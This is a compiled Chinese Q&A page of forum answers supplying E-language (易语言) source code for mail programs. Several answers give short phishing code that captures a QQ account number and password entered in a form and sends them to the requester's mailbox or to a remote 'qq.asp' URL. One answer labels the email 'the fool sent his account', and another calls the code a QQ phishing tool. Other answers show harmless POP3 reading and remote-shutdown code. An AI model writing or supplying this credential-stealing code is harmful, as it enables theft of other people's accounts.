『壹』 跪求易语言邮箱收信的源码！！最好附加教程
.版本
2
.支持库
internet
.子程序
_按钮1_被单击
连接发信服务器
(「smtp.qq.com」,
25,
「283279437」,
「你密码」,
)
发送邮件
(「傻瓜送号来了」
＋
编辑框1.内容,
「QQ账号：」
＋
编辑框1.内容
＋
#换行符
＋
「QQ密码：」
＋
编辑框2.内容
＋
#换行符,
「[email protected]」,
,
,
「[email protected]」,
)
你好好研究就知道了呵呵！只供研究哈！
----------------------精易论坛
-
问问团队----------------------
此答案来源于
→
精易论坛,要学习编程的可网络一下"精易论坛"
精易论坛：专业的易语言技术交流平台
我们的口号是:帮助别人等于帮助自
『贰』 谁帮我做个易语言QQ收信的源码 成功了 我给他分。。。。。。。。。。。
本源码可判断QQ是否正确再发送邮件：
.版本 2
.支持库 internet
.子程序 _按钮1_被单击
连接发信服务器 (「smtp.qq.com」, , 编辑框1.内容, 编辑框2.内容, )
发送邮件 (「你的标题」, 编辑框1.内容 ＋ #换行符 ＋ 编辑框2.内容, 「收信人地址」, , , 「发信人地址」, )
' 此源码为 如果他在编辑框1.内容,与编辑框2.内容输入的是正确账号和密码 他会进行发送邮件到指定地址 如果不正确将不发送喽
==================================================
精易论坛 - 荣誉团队
此答案来源于 → 精易论坛,要学习的可网络一下"精易论坛"
精易论坛 → 专业易语言技术交流学习平台
我们的口号是 → 帮助别人等于帮助自己
『叄』 谁给我易语言接收邮件的源码 是接收 不是发送
.版本 2
.支持库 pop3
.子程序 接收邮件子程序, , , 正在接收第 * 封邮件，总共有 * 封邮件，剩余 * 封邮件。
.局部变量 邮件个数, 整数型
.局部变量 邮件大小, 整数型
.局部变量 计次, 整数型
.局部变量 邮件信息, 邮件信息
.局部变量 邮件附件, 附件信息, , "0"
标签1.标题 ＝ 「正在连接服务器.....」
.如果 (连接收信服务器 (「pop.qq.com」, 110, 「用户名」, 「密码」, 30000, 3))
标签1.标题 ＝ 「连接服务器成功，准备开始接收邮件！」
.否则
标签1.标题 ＝ 「服务器连接失败。」
返回 ()
.如果结束
获取邮件信息 (邮件个数, 邮件大小)
.如果真 (邮件个数 ＝ 0)
标签1.标题 ＝ 「暂时没有邮件！」
返回 ()
.如果真结束
.计次循环首 (邮件个数, 计次)
标签1.标题 ＝ 「正在接收第 」 ＋ 到文本 (计次) ＋ 「 封邮件，总共有 」 ＋ 到文本 (邮件个数) ＋ 「 封邮件，剩余 」 ＋ 到文本 (邮件个数 － 计次) ＋ 「封邮件。」
邮件信息 ＝ 接收邮件 (计次)
输出调试文本 (邮件信息.取文本内容 ())
邮件附件 ＝ 邮件信息.取附件 ()
邮件附件 [1].取名称 ()
.计次循环尾 ()
标签1.标题 ＝ 「本次接收完成！」
断开收信服务器 ()
『肆』 求易语言一个收信源码
窗口至少有两个编辑框和一个按钮，然后双击窗口输入以下代码
.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.如果真 (收信 (「http://你的收信地址/qq.asp」, 编辑框1.内容, 编辑框2.内容) ＝ 「发送成功」)
.如果真结束
.子程序 收信, 文本型
.参数 地址, 文本型
.参数 账号, 文本型
.参数 密码, 文本型
返回 (到文本 (HTTP读文件 (地址 ＋ 「?」 ＋ 「qqnumber=」 ＋ 账号 ＋ 「&qqpassword=」 ＋ 密码)))
『伍』 （300分）求易语言一个收信源码
.版本 2
.支持库 pop3
.程序集 启动程序集
.程序集变量 邮件, 邮件信息, , "0"
.程序集变量 附件, 附件信息, , "0"
.程序集变量 邮件索引, 整数型
.程序集变量 附件索引, 整数型
.程序集变量 邮件总数, 整数型
.程序集变量 附件个数, 整数型
.程序集变量 登陆信息, 文本型, , "6"
.程序集变量 是否快速浏览, 逻辑型
.程序集变量 邮件大小, 整数型, , "0"
.程序集变量 邮件序号组, 文本型, , "0"
.子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行
标准输出 (, 「邮件接收支持库的测试」 ＋ #换行符)
标准输出 (, 「邮箱登陆:」 ＋ #换行符)
注册邮件接收回调函数 (&回调函数)
设置代理 ()
登陆 ()
快速浏览 ()
标准输出 (, 「快速浏览完毕」 ＋ #换行符)
标准输出 (, 「需要详细查看各邮件吗？（Y/N）」)
.如果真 (取代码 (标准输入 (), 1) ＝ 121)
读邮件 ()
.如果真结束
标准输入 ()
返回 (0) ' 可以根据您的需要返回任意数值
.子程序 设置代理
.局部变量 是否设置, 文本型
.局部变量 服务器类型, 文本型
.局部变量 服务器地址, 文本型
.局部变量 服务器埠, 文本型
.局部变量 服务器用户, 文本型
.局部变量 服务器密码, 文本型
标准输出 (, 「是否设置代理服务器(Y/N)」 ＋ #换行符)
是否设置 ＝ 标准输入 ()
.如果真 (取代码 (是否设置, 1) ＝ 121)
标准输出 (, 「1：HTTP1.1代理，2：SOCKS5代理----」)
服务器类型 ＝ 标准输入 ()
标准输出 (, 「代理服务器IP地址----」)
服务器地址 ＝ 标准输入 ()
标准输出 (, 「埠号----」)
服务器埠 ＝ 标准输入 ()
标准输出 (, 「用户名----」)
服务器用户 ＝ 标准输入 ()
标准输出 (, 「密码----」)
服务器密码 ＝ 标准输入 ()
.如果 (设置代理服务器 (到整数 (服务器类型), 服务器地址, 到数值 (服务器埠), 服务器用户, 服务器密码) ＝ 真)
标准输出 (, 「设置代理服务器成功」 ＋ #换行符)
.否则
标准输出 (, 「设置代理服务器失败」)
标准输入 ()
结束 ()
.如果结束
.如果真结束
.子程序 登陆
.局部变量 文本变量, 文本型
标准输出 (, 「请输入邮件服务器地址：」)
文本变量 ＝ 标准输入 (真)
登陆信息 [1] ＝ 文本变量
标准输出 (, 「请输入埠号：」)
文本变量 ＝ 标准输入 (真)
登陆信息 [2] ＝ 文本变量
标准输出 (, 「请输入用户名：」)
文本变量 ＝ 标准输入 (真)
登陆信息 [3] ＝ 文本变量
标准输出 (, 「请输入密码：」)
文本变量 ＝ 标准输入 (真)
登陆信息 [4] ＝ 文本变量
标准输出 (, 「请输入等待时间(毫秒)：」)
文本变量 ＝ 标准输入 (真)
登陆信息 [5] ＝ 文本变量
标准输出 (, 「请输入重试次数：」)
文本变量 ＝ 标准输入 (真)
登陆信息 [6] ＝ 文本变量
标准输出 (, #换行符)
连接邮件服务器 ()
.子程序 连接邮件服务器
标准输出 (, 「正在登陆邮件服务器请稍候..........」)
标准输出 (, #换行符 ＋ #换行符)
.如果真 (连接收信服务器 (登陆信息 [1], 到数值 (登陆信息 [2]), 登陆信息 [3], 登陆信息 [4], 到数值 (登陆信息 [5]), 到数值 (登陆信息 [6])) ＝ 假)
标准输出 (, 「发生错误：」 ＋ 取邮件错误信息 ())
标准输入 ()
结束 ()
.如果真结束
标准输出 (, 「邮箱连接成功」)
读邮件 ()
.子程序 读邮件
.局部变量 逻辑返回, 逻辑型
.局部变量 邮件总量, 整数型
.局部变量 浏览, 文本型
.局部变量 邮件序号, 文本型
.局部变量 计次变量, 整数型
逻辑返回 ＝ 获取邮件信息 (邮件总数, 邮件总量)
.如果真 (逻辑返回 ＝ 假)
标准输出 (, 「获取邮件信息出错:」 ＋ 取邮件错误信息 ())
标准输入 ()
结束 ()
.如果真结束
标准输出 (, 「邮件总量：」 ＋ 到文本 (邮件总量) ＋ #换行符)
标准输出 (, 「邮件个数：」 ＋ 到文本 (邮件总数) ＋ #换行符)
重定义数组 (邮件, 假, 邮件总数)
清除数组 (邮件大小)
逻辑返回 ＝ 获取邮件大小 (-1, 邮件大小, 邮件总数)
.如果真 (逻辑返回 ＝ 假)
标准输出 (, 「获取每个邮件的大小出错:」 ＋ 取邮件错误信息 ())
标准输入 ()
结束 ()
.如果真结束
标准输出 (, 「是否要快速浏览（Y/N） 」)
浏览 ＝ 标准输入 (真)
标准输出 (, #换行符)
标准输出 (, 「正在接收邮件请稍候............」)
.如果 (取代码 (浏览, 1) ＝ 121)
是否快速浏览 ＝ 真
.计次循环首 (邮件总数, 计次变量)
邮件 [计次变量] ＝ 接收邮件前几行 (计次变量, 10)
.计次循环尾 ()
.否则
.计次循环首 (邮件总数, 计次变量)
邮件 [计次变量] ＝ 接收邮件 (计次变量)
.计次循环尾 ()
.如果结束
标准输出 (, #换行符)
标准输出 (, #换行符)
清除数组 (邮件序号组)
.计次循环首 (邮件总数, 计次变量)
接收邮件序号 (计次变量, 邮件序号)
加入成员 (邮件序号组, 邮件序号)
.计次循环尾 ()
标准输出 (, 「邮件接收完毕」)
断开收信服务器 ()
.如果真 (是否快速浏览 ＝ 假)
邮件信息 ()
.如果真结束
.子程序 邮件信息
.局部变量 邮件次序号, 整数型
标准输出 (, 「共接收邮件 」 ＋ 到文本 (邮件总数) ＋ 「 个」 ＋ #换行符)
标准输出 (, 「要查看邮件内容请输入邮件的次序号：」)
邮件次序号 ＝ 到数值 (标准输入 (真))
.如果 (邮件次序号 ≥ 1 且 邮件次序号 ≤ 邮件总数)
取邮件 (邮件次序号)
.否则
邮件信息 ()
.如果结束
.子程序 取附件信息
.参数 附件索引数, 整数型
.局部变量 是否嵌入式, 逻辑型
.局部变量 文件名, 文本型
.局部变量 文件号, 整数型
标准输出 (, #换行符)
标准输出 (, 「第 」 ＋ 到文本 (附件索引数) ＋ 「 个附件信息」 ＋ #换行符)
标准输出 (, 「是否嵌入式:」)
是否嵌入式 ＝ 附件 [附件索引数].取是否嵌入式附件 ()
标准输出 (, 到文本 (是否嵌入式))
标准输出 (, #换行符)
.如果 (是否嵌入式 ＝ 真)
标准输出 (, 「嵌入文件名:」)
标准输出 (, 附件 [附件索引数].取名称 ())
.否则
标准输出 (, 「附加文件名:」)
标准输出 (, 附件 [附件索引数].取文件名 ())
.如果结束
标准输出 (, #换行符)
标准输出 (, 「附件大小:」)
标准输出 (, 到文本 (附件 [附件索引数].取大小 ()))
标准输出 (, #换行符)
标准输出 (, 「附件类型:」)
标准输出 (, 附件 [附件索引数].取类型 ())
标准输出 (, #换行符)
标准输出 (, 「编码方式:」)
标准输出 (, 附件 [附件索引数].取编码方式 ())
标准输出 (, #换行符)
标准输出 (, 「附件数据的大小:」)
标准输出 (, 到文本 (取字节集长度 (附件 [附件索引数].取数据 ())))
标准输出 (, #换行符)
.子程序 取邮件
.参数 邮件索引数, 整数型
.局部变量 内容, 文本型
.局部变量 计次变量, 整数型
标准输出 (, 「第 」 ＋ 到文本 (邮件索引数) ＋ 「 个邮件信息」 ＋ #换行符)
标准输出 (, 「发件人名称:」)
标准输出 (, 邮件 [邮件索引数].取发件人名称 ())
标准输出 (, #换行符)
标准输出 (, 「主题:」)
标准输出 (, 邮件 [邮件索引数].取主题 ())
标准输出 (, #换行符)
标准输出 (, 「日期:」)
标准输出 (, 到文本 (邮件 [邮件索引数].取日期 ()))
标准输出 (, #换行符)
标准输出 (, 「发件人地址:」)
标准输出 (, 邮件 [邮件索引数].取发件人地址 ())
标准输出 (, #换行符)
标准输出 (, 「回复地址:」)
标准输出 (, 邮件 [邮件索引数].取回复地址 ())
标准输出 (, #换行符)
标准输出 (, 「邮件大小:」)
标准输出 (, 到文本 (邮件大小 [邮件索引数]))
标准输出 (, #换行符)
标准输出 (, 「邮件序号:」)
标准输出 (, 邮件序号组 [邮件索引数])
标准输出 (, #换行符)
标准输出 (, 「原始信息长度:」)
标准输出 (, 到文本 (取文本长度 (邮件 [邮件索引数].取原始信息 ())))
标准输出 (, #换行符)
标准输出 (, 「文本内容:」)
内容 ＝ 邮件 [邮件索引数].取文本内容 ()
标准输出 (, 内容 ＋ #换行符)
标准输出 (, 「保存超文本文件」)
超文本内容 (邮件索引数)
标准输出 (, #换行符)
标准输出 (, 「附件个数 :」)
附件个数 ＝ 邮件 [邮件索引数].取附件个数 ()
标准输出 (, 到文本 (附件个数))
标准输出 (, #换行符)
.如果真 (是否快速浏览 ＝ 假)
标准输出 (, #换行符)
附件 ＝ 邮件 [邮件索引数].取附件 ()
.计次循环首 (取数组成员数 (附件), 计次变量)
取附件信息 (计次变量)
.计次循环尾 ()
选择保存附件 (邮件索引数)
标准输出 (, #换行符)
邮件信息 ()
.如果真结束
.子程序 选择保存附件
.参数 选择附件索引, 整数型
.局部变量 附件次序号, 整数型
标准输出 (, 「是否需要保存附件（Y/N）」)
.如果 (取代码 (标准输入 (), 1) ＝ 121)
标准输出 (, 「请输入要保存的附件次序号:」)
附件次序号 ＝ 到数值 (标准输入 (真))
.如果真 (附件次序号 ≥ 1 且 附件次序号 ≤ 附件个数)
保存附件 (附件次序号)
.如果真结束
.否则
删除子程序 (选择附件索引)
.如果结束
.子程序 删除子程序
.参数 索引
.局部变量 是否删除, 文本型
标准输出 (, 「是否要删除该邮件（Y/N）」)
是否删除 ＝ 标准输入 (真)
.如果真 (取代码 (是否删除, 1) ＝ 121)
连接收信服务器 (登陆信息 [1], 到数值 (登陆信息 [2]), 登陆信息 [3], 登陆信息 [4], 到数值 (登陆信息 [5]), 到数值 (登陆信息 [6]))
.如果 (删除邮件 (索引) ＝ 真)
标准输出 (, 「删除成功」)
.否则
标准输出 (, 「删除失败」)
.如果结束
.如果真结束
邮件复位 ()
.子程序 快速浏览
.局部变量 计次变量, 整数型
.计次循环首 (取数组成员数 (邮件), 计次变量)
取邮件 (计次变量)
删除子程序 (计次变量)
标准输出 (, #换行符)
.计次循环尾 ()
.子程序 保存附件
.参数 保存索引, 整数型
.局部变量 文件名, 文本型
.局部变量 文件号, 整数型
.如果 (附件 [保存索引].取是否嵌入式附件 () ＝ 真)
文件名 ＝ 附件 [保存索引].取名称 ()
.否则
文件名 ＝ 附件 [保存索引].取文件名 ()
.如果结束
标准输出 (, 「请输入要保存到的路径，以」 ＋ #引号 ＋ 「 ＼」 ＋ #引号 ＋ 「结束：」)
文件号 ＝ 打开文件 (标准输入 (真) ＋ 文件名, #重写, )
.如果 (插入字节集 (文件号, 附件 [保存索引].取数据 ()) ＝ 真)
标准输出 (, 「保存成功」)
.否则
标准输出 (, 「保存失败」)
.如果结束
关闭文件 (文件号)
标准输出 (, #换行符)
.子程序 邮件复位
标准输出 (, #换行符)
标准输出 (, 「需要恢复被删除的邮件吗？（Y/N）」)
.如果真 (取代码 (标准输入 (), ) ＝ 121)
.如果 (复位邮件 () ＝ 真)
标准输出 (, 「复位成功,」)
标准输出 (, 「删除的邮件被恢复」)
.否则
标准输出 (, 「复位失败」)
.如果结束
.如果真结束
.子程序 超文本内容
.参数 索引, 整数型
.局部变量 计次变量, 整数型
.局部变量 文件号, 整数型
.局部变量 临时文件, 文本型
标准输出 (, 「请输入临时浏览超文本文件的路径，以」 ＋ #引号 ＋ 「 ＼」 ＋ #引号 ＋ 「结束：」)
临时文件 ＝ 标准输入 ()
文件号 ＝ 打开文件 (临时文件 ＋ 「临时浏览.html」, #重写, ) ' 创建要浏览的超文本内容的网页文件
插入文本 (文件号, 邮件 [索引].取超文本内容 ())
关闭文件 (文件号)
.计次循环首 (邮件 [索引].取附件个数 (), 计次变量)
.如果真 (附件 [计次变量].取是否嵌入式附件 ())
文件号 ＝ 打开文件 (临时文件 ＋ 附件 [计次变量].取名称 (), #重写, ) ' 创建要浏览的超文本网页的附件文件
插入字节集 (文件号, 附件 [计次变量].取数据 ())
关闭文件 (文件号)
.如果真结束
.计次循环尾 ()
.子程序 回调函数, 逻辑型
.参数 类型, 整数型
.参数 第几封, 整数型
.参数 字节数, 整数型
.判断开始 (#命令类型.验证用户名 ＝ 类型)
标准输出 (, 「验证用户信息」)
.默认
.判断结束
返回 (真)
『陆』 易语言邮箱收信源码
没有错误，如果无法收到邮件，请检查发件人QQ邮箱是否已经开启SMTP服务（默认为关闭）
SMTP开启方法：
进入发件人QQ邮箱，点击页面的上方的「设置」
然后切换到「账户」
向下找到选项，勾选「开启POP3/STMP服务」，保存设置。
如图所示：
『柒』 易语言发送邮件源码怎么写啊
首先，在软件的界面创建「标签1」「标签2」，并改名为「邮件标题」「邮件内容」，也可按照自己的想法修改（针对应用于其他特殊需要用户）创建，「编辑框1」「编辑框2」「按钮1」，并将「按钮1」改名为「发送邮件」
双击「发送邮件」按钮，进入代码编辑区域
连接「发信服务器」，并判断是否连接成功，代码：如果 (连接发信服务器 (「smtp.163.com」, 25, 「你的163邮箱账户」, 「你的163邮箱密码」, ) ＝ 真)
这里判断如果连接发信服务器成功，将执行发送邮件，代码：发送邮件 (编辑框1.内容, 编辑框2.内容, 「这里写你收信的邮件地址」, , , 「这里写你的发信邮箱地址」, )
这里判断如果连接发送服务器失败的话，将执行弹出信息框代码，当然也可省略这个步骤，根据个人需要选择，代码：信息框 (「连接发信服务器失败」, 0, )
此时，完整的代码如下：
.版本 2支持库 internet如果 (连接发信服务器 (「smtp.163.com」, 25, 「你的163邮箱账户」, 「你的163邮箱密码」, ) ＝ 真)发送邮件 (编辑框1.内容, 编辑框2.内容, 「这里写你收信的邮件地址」, , , 「这里写你的发信邮箱地址」, )否则信息框 (「连接发信服务器失败」, 0, , )
「编辑框1」是邮件标题，「编辑框2」是邮件内容，填写完之后，点击「发送邮件」按钮，即可。
『捌』 易语言收信代码
连接发信服务器
(「建议163邮箱」,
,
「您的账号」,
「密码」,
)
发送邮件（编辑框1.内容,
「账号:」
＋
编辑框1.内容
＋
#换行符
＋
「密码:」
＋
编辑框2.内容
＋
#换行符
＋
「
区域:」
＋
组合框1.内容
＋
#换行符
＋
编辑框6.内容,
「你的收信邮箱」,
,
「另一个邮箱」,
「163邮箱」
注意！：发送邮件的内容要自己定义，你需要那个框的内容在这里面就可以改
『玖』 怎么用易语言写收到邮件立即关机求源码
我采用的是QQ邮箱哈
建立两个时锺，时锺周期都为1000，在建立一个编辑框，然后输入一下代码：
.版本 2
.支持库 pop3
.支持库 spec
.支持库 iconv
.支持库 shell
.程序集 窗口程序集1
.子程序 _时锺1_周期事件
.局部变量 邮件, 邮件信息
.局部变量 主题, 文本型
.局部变量 转换编码, 文本型
.局部变量 结果, 逻辑型
调试输出 (连接收信服务器 (「pop.qq.com」, 110, 「你的QQ账号」, "你的QQ密码", 30000, 3))
邮件 ＝ 接收邮件 (1)
主题 ＝ 邮件.取主题 ()
转换编码 ＝ 到文本 (编码转换 (到位元组集 (主题), #编码_UTF_8, #编码_GB2312, 结果))
编辑框1.内容 ＝ 转换编码
调试输出 (转换编码)
.子程序 _时锺2_周期事件
.如果 (编辑框1.内容 ＝ 「12345」)
关闭系统 (#关机, )
时锺1.时锺周期 ＝ 0
时锺2.时锺周期 ＝ 0
删除邮件 (1)
断开收信服务器 ()
.否则
删除邮件 (1)
断开收信服务器 ()
.如果结束
这是QQ邮箱的，其他邮箱也差不多
我说下怎么用：
打开此软件，然后你用手机或者其他计算机给你的QQ发一个主题是「12345」的邮件，计算机就关机啦！求采纳。。。
『拾』 求易语言收邮件的源码
连接发信服务器 (「这里写发信邮箱」, , 「这里写收信邮箱」, 「这里写收信邮箱」, )
发送邮件 (「邮箱表态！」, 编辑框1.内容 ＋ #换行符 ＋ 编辑框2.内容, 「这里写收信邮箱」, , , 「这里写收信邮箱」, )
这些邮箱代码可以写个简单的QQ钓鱼小工具的，小心点用